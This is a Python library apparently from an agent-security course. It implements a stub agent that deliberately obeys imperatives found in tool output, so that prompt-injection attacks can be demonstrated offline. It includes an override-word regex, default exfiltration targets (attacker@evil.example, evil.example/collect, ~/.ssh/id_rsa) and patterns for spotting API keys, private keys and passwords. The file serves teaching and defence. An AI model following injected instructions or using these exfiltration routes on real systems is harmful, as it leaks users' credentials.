-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathagentlib.py
More file actions
470 lines (360 loc) · 16.7 KB
/
Copy pathagentlib.py
File metadata and controls
470 lines (360 loc) · 16.7 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
"""
agentlib — the shared toy agent used by every chapter of
Learn Agent Security From Scratch.
Standard library only. No network. No API key. Nothing here touches a real
resource: the "web" is a dict, the "mailbox" is a list, the "shell" records
commands and refuses to run them.
The model is a deterministic stub. It is not a good language model and is not
trying to be. It reproduces exactly one property of a real instruction-following
LLM -- the property this course is about:
it follows the most recent imperative it can find in its context,
regardless of which part of the context that imperative came from.
That is a caricature. It is also, empirically, what real models do often enough
that every attack in this course has been demonstrated against production
systems. Using a stub makes the attacks reproducible, free and offline, and
keeps the lesson where it belongs: the vulnerability is in the shape of the
context, not in the quality of the reasoning.
Run any chapter file with --live to route through a real model instead; see
set_backend() at the bottom.
"""
from __future__ import annotations
import json
import re
import sys
from collections.abc import Callable
from dataclasses import dataclass, field
# --------------------------------------------------------------------------
# context
# --------------------------------------------------------------------------
TRUSTED = "trusted" # authored by the developer or the principal user
TAINTED = "tainted" # authored by anyone else, i.e. arrived via a tool
@dataclass
class Message:
role: str # system | user | assistant | tool
content: str
trust: str = TRUSTED
source: str = "developer" # who actually wrote these bytes
def __str__(self) -> str:
mark = "!" if self.trust == TAINTED else " "
return f"{mark} {self.role:<9} [{self.source}] {self.content[:110]}"
class Context(list):
"""A list of Messages that knows how much of itself is untrusted."""
def tainted_ratio(self) -> float:
total = sum(len(m.content) for m in self) or 1
bad = sum(len(m.content) for m in self if m.trust == TAINTED)
return bad / total
def render(self) -> str:
"""What the model actually sees: one flat string. This is the point."""
return "\n".join(f"{m.role}: {m.content}" for m in self)
def show(self) -> None:
for m in self:
print(m)
print(f" -- {self.tainted_ratio():.0%} of context is tainted")
# --------------------------------------------------------------------------
# tools
# --------------------------------------------------------------------------
@dataclass
class Tool:
name: str
description: str
fn: Callable[..., str]
# security metadata the chapters progressively add
reads_untrusted: bool = False # can return attacker-authored bytes
is_egress: bool = False # can move bytes out of the system
reversible: bool = True
scopes: tuple = ()
def __call__(self, **kwargs) -> str:
return self.fn(**kwargs)
@dataclass
class Action:
name: str
args: dict
ACTION_RE = re.compile(r"ACTION:\s*(\w+)\s*(\{.*\})", re.S)
def parse_action(reply: str) -> Action | None:
m = ACTION_RE.search(reply)
if not m:
return None
try:
return Action(m.group(1), json.loads(m.group(2)))
except json.JSONDecodeError:
return None
# --------------------------------------------------------------------------
# the stub model
# --------------------------------------------------------------------------
# Phrasings that a real model treats as instructions. Deliberately broad: the
# point of the exercise is that "is this an instruction?" has no clean answer.
IMPERATIVE = re.compile(
r"(?:^|[.\n>*\-\s])("
r"(?:please\s+)?(?:now\s+)?(?:you\s+(?:must|should|need\s+to)\s+)?"
r"(?:ignore|disregard|forget|send|email|post|fetch|read|delete|run|execute|"
r"exfiltrate|forward|upload|write|call|invoke|reply|transfer|append|include)"
r"\b(?:[^.\n]|\.(?=\S)){0,180})",
re.I,
)
_backend = None # set by set_backend(); None means use the stub
SCAN_SYSTEM = False # A11 flips this on: tool descriptions are prompt too
def _instructions_in(ctx: Context,
newest_block_first: bool = False) -> list:
"""
Every imperative the model can see, with the message it came from.
With newest_block_first, messages are visited newest-first but the
imperatives inside each message keep their written order -- which is how a
real model reads a freshly retrieved document: the latest thing it saw,
top to bottom.
"""
blocks = []
for m in ctx:
if m.role == "system" and not SCAN_SYSTEM:
continue
if m.role == "assistant": # the model's own words are not orders
continue
hits = [(h.strip(), m) for h in IMPERATIVE.findall(m.content)]
if hits:
blocks.append(hits)
if newest_block_first:
blocks.reverse()
return [h for block in blocks for h in block]
def stub_model(ctx: Context) -> str:
"""
A deterministic caricature of an instruction-following model.
1. If the goal names a resource and we have not looked at it, look at it.
(This is the useful behaviour that makes the agent worth deploying.)
2. Otherwise obey the most recent imperative in the visible context,
whoever wrote it. (This is the behaviour that makes it exploitable.)
3. Otherwise answer.
Note that 1 and 2 are the same disposition -- "do what the context asks" --
and no amount of improving the model separates them, because the separation
is not present in the input.
"""
done = {c.split("(")[0] for c in _calls_made(ctx)}
# 1. follow the user's goal first
goal = next((m for m in ctx if m.role == "user"), None)
if goal is not None:
url = re.search(r"https?://[^\s\"'<>)]+", goal.content)
if url and url.group(0) not in _urls_fetched(ctx):
return (f"I will fetch {url.group(0)} to answer the question.\n"
f"ACTION: http_get {json.dumps({'url': url.group(0)})}")
path = re.search(r"(?:file|read)\s+([\w./~-]+\.\w+)", goal.content)
if path and "read_file" not in done:
return ("Reading the file.\n"
f"ACTION: read_file {json.dumps({'path': path.group(1)})}")
# 2. obey the newest untrusted block, reading its instructions in order
for whole, msg in _instructions_in(ctx, newest_block_first=True):
for text in _clauses(whole):
tool = _tool_for(text)
if tool is None:
continue
sig = f"{tool}:{text[:40]}"
if sig in _signatures(ctx):
continue
origin = "the user" if msg.trust == TRUSTED else f"content from {msg.source}"
return (f"Instruction found in {origin}: {text!r}\n"
f"ACTION: {tool} {json.dumps(_guess_args(tool, text, ctx.render()))}"
f"\n<!--sig:{sig}-->")
# 3. nothing left to do
return "Done. Here is my summary of what I found."
TOOL_WORDS = {
"send_email": ("send", "email", "mail", "forward", "reply"),
"http_get": ("fetch", "http", "visit", "browse", "upload to", "post to", "curl"),
"read_file": ("read", "open", "cat "),
"write_file": ("write", "save", "append"),
"shell": ("run", "execute", "shell", "bash"),
}
def _tool_for(text: str) -> str | None:
"""Pick the tool whose keyword appears earliest -- instructions run in order."""
low = text.lower()
best, at = None, len(low) + 1
for tool, words in TOOL_WORDS.items():
for w in words:
i = low.find(w)
if 0 <= i < at:
best, at = tool, i
return best
CLAUSE = re.compile(r"\band then\b|\bthen\b|\band\s+(?=send|email|read|write|run|fetch|post|upload)|;", re.I)
def _clauses(text: str) -> list:
"""Split a multi-step payload so each step becomes its own action."""
return [c.strip() for c in CLAUSE.split(text) if c and c.strip()]
def _calls_made(ctx: Context) -> list[str]:
return [m.content.split(":", 1)[0].replace("Result of ", "").strip()
for m in ctx if m.role == "tool"]
def _urls_fetched(ctx: Context) -> set:
return set(re.findall(r"https?://[^\s\"'<>)]+",
" ".join(m.content for m in ctx if m.role == "assistant")))
def _signatures(ctx: Context) -> set:
return set(re.findall(r"<!--sig:(.*?)-->",
" ".join(m.content for m in ctx if m.role == "assistant")))
def _guess_args(tool: str, instruction: str, flat: str) -> dict:
"""Fill in plausible arguments for the instruction the model just obeyed."""
url = re.search(r"https?://[^\s\"'<>)]+", instruction)
addr = re.search(r"[\w.+-]+@[\w-]+\.[\w.]+", instruction)
path = re.search(r"(?:^|\s)([\w./~-]*\.(?:txt|env|py|json|key|pem|md))", instruction)
secret = _secret_in(flat)
if tool == "send_email":
return {"to": addr.group(0) if addr else "attacker@evil.example",
"subject": "fwd", "body": secret or flat[-300:]}
if tool == "http_get":
base = url.group(0) if url else "https://evil.example/collect"
if secret and "?" not in base:
base += "?q=" + _urlish(secret)
return {"url": base}
if tool in ("read_file", "write_file"):
args = {"path": path.group(1) if path else "~/.ssh/id_rsa"}
if tool == "write_file":
args["text"] = secret or instruction
return args
if tool == "shell":
return {"cmd": instruction}
return {"text": instruction}
def _secret_in(flat: str) -> str:
"""Anything already in context that looks worth stealing."""
for pat in (r"sk_live_\w+", r"-----BEGIN[^-]*-----[\s\S]{0,80}",
r"[A-Z_]{3,}=\S+", r"password[:=]\s*\S+"):
m = re.search(pat, flat, re.I)
if m:
return m.group(0)
return ""
def _urlish(s: str) -> str:
return re.sub(r"[^\w.-]", "", s)[:60]
def call_model(ctx: Context) -> str:
return _backend(ctx) if _backend else stub_model(ctx)
# --------------------------------------------------------------------------
# the loop
# --------------------------------------------------------------------------
SYSTEM_PROMPT = (
"You are a helpful assistant. Use the available tools to accomplish the "
"user's goal. Emit exactly one ACTION line per turn, or answer directly."
)
@dataclass
class Agent:
tools: dict
system: str = SYSTEM_PROMPT
max_steps: int = 8
trace: list = field(default_factory=list)
# hooks the defence chapters replace
before_action: Callable[[Action, Context], str | None] | None = None
on_observation: Callable[[str, Tool], str] | None = None
def run(self, goal: str, verbose: bool = True) -> tuple[str, Context]:
ctx = Context([
Message("system", self.system + "\n" + self.describe(), TRUSTED, "developer"),
Message("user", goal, TRUSTED, "principal"),
])
for step in range(self.max_steps):
reply = call_model(ctx)
ctx.append(Message("assistant", reply, TRUSTED, "model"))
action = parse_action(reply)
if action is None:
return reply, ctx
if self.before_action: # policy hook
denial = self.before_action(action, ctx)
if denial:
self.trace.append(("DENIED", action.name, action.args, denial))
ctx.append(Message("tool", f"denied: {denial}", TRUSTED, "policy"))
if verbose:
print(f" [policy] DENIED {action.name}: {denial}")
continue
tool = self.tools.get(action.name)
if tool is None:
ctx.append(Message("tool", f"no such tool: {action.name}", TRUSTED, "runtime"))
continue
result = tool(**action.args)
self.trace.append(("CALLED", action.name, action.args, result[:80]))
if verbose:
print(f" [tool] {action.name}({_short(action.args)}) -> {result[:70]}")
if self.on_observation: # sanitisation hook
result = self.on_observation(result, tool)
ctx.append(Message(
"tool", f"Result of {action.name}: {result}",
TAINTED if tool.reads_untrusted else TRUSTED,
"external" if tool.reads_untrusted else "runtime",
))
return "step limit reached", ctx
def describe(self) -> str:
return "Tools:\n" + "\n".join(
f"- {t.name}: {t.description}" for t in self.tools.values())
def _short(d: dict) -> str:
s = json.dumps(d)
return s if len(s) < 60 else s[:57] + "..."
# --------------------------------------------------------------------------
# fake world
# --------------------------------------------------------------------------
WEB: dict[str, str] = {
"https://example.com/rfc9110": "GET, HEAD, PUT and DELETE are idempotent methods.",
}
MAILBOX: list[dict] = []
FILES: dict[str, str] = {
"~/.ssh/id_rsa": "-----BEGIN OPENSSH PRIVATE KEY-----\nAAAAsecret\n-----END-----",
".env": "STRIPE_KEY=sk_live_51H8xQ2\nDB_PASSWORD=hunter2",
"notes.txt": "Buy milk.",
}
SENT: list[dict] = [] # everything that left the system, for assertions
EGRESS: list[str] = [] # every outbound URL
def http_get(url: str) -> str:
EGRESS.append(url)
return WEB.get(url, f"<!-- 404 at {url} -->")
def send_email(to: str, subject: str, body: str) -> str:
SENT.append({"to": to, "subject": subject, "body": body})
return f"sent to {to}"
def read_file(path: str) -> str:
return FILES.get(path, f"no such file: {path}")
def write_file(path: str, text: str) -> str:
FILES[path] = text
return f"wrote {len(text)} bytes to {path}"
def shell(cmd: str) -> str:
SENT.append({"shell": cmd})
return f"[refused to execute, recorded only] {cmd}"
def make_tools(*names: str) -> dict:
catalogue = {
"http_get": Tool("http_get", "Fetch a URL and return its text.",
http_get, reads_untrusted=True, is_egress=True),
"send_email": Tool("send_email", "Send an email. Arguments: to, subject, body.",
send_email, is_egress=True, reversible=False,
scopes=("mail.send",)),
"read_file": Tool("read_file", "Read a local file. Argument: path.",
read_file, reads_untrusted=True, scopes=("fs.read",)),
"write_file": Tool("write_file", "Write a local file. Arguments: path, text.",
write_file, reversible=False, scopes=("fs.write",)),
"shell": Tool("shell", "Run a shell command. Argument: cmd.",
shell, reversible=False, is_egress=True, scopes=("exec",)),
}
return {n: catalogue[n] for n in (names or catalogue)}
def reset_world() -> None:
MAILBOX.clear()
SENT.clear()
EGRESS.clear()
FILES.update({
"~/.ssh/id_rsa": "-----BEGIN OPENSSH PRIVATE KEY-----\nAAAAsecret\n-----END-----",
".env": "STRIPE_KEY=sk_live_51H8xQ2\nDB_PASSWORD=hunter2",
"notes.txt": "Buy milk.",
})
# --------------------------------------------------------------------------
# presentation helpers used by the chapter scripts
# --------------------------------------------------------------------------
def rule(title: str = "") -> None:
print("\n" + (f"── {title} " + "─" * max(0, 66 - len(title)) if title else "─" * 70))
def ok(msg: str) -> None:
print(f" \033[32m✓\033[0m {msg}" if sys.stdout.isatty() else f" [ok] {msg}")
def bad(msg: str) -> None:
print(f" \033[31m✗\033[0m {msg}" if sys.stdout.isatty() else f" [!!] {msg}")
def set_backend(fn) -> None:
"""Route call_model through a real API instead of the stub."""
global _backend
_backend = fn
def maybe_live() -> None:
"""--live on the command line switches to a real model if one is configured."""
if "--live" not in sys.argv:
return
import os
if os.environ.get("ANTHROPIC_API_KEY"):
from anthropic import Anthropic # type: ignore
client = Anthropic()
def backend(ctx: Context) -> str:
msgs = [{"role": "user" if m.role != "assistant" else "assistant",
"content": f"{m.role}: {m.content}"} for m in ctx if m.role != "system"]
sysmsg = next((m.content for m in ctx if m.role == "system"), "")
r = client.messages.create(model="claude-sonnet-5", max_tokens=512,
system=sysmsg, messages=msgs)
return r.content[0].text
set_backend(backend)
print("[live] routing through claude-sonnet-5")
else:
print("[live] no ANTHROPIC_API_KEY found; staying on the stub")